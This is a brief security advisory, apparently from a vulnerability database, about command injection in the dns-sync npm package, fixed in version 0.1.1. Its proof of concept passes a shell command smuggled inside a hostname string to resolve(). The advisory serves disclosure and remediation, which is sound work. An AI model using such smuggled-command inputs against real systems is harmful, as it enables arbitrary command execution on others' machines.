Command Injection

Overview

Affected versions of dns-sync are vulnerable to arbitrary command execution via maliciously formed hostnames.

Proof of Concept

    var dnsSync = require('dns-sync');
    console.log(dnsSync.resolve('$(id > /tmp/foo)'));

Recommendation

Update to version 0.1.1 or later.

References

• Issue #1)
• Commit #d9abaae)))
• GitHub Advisory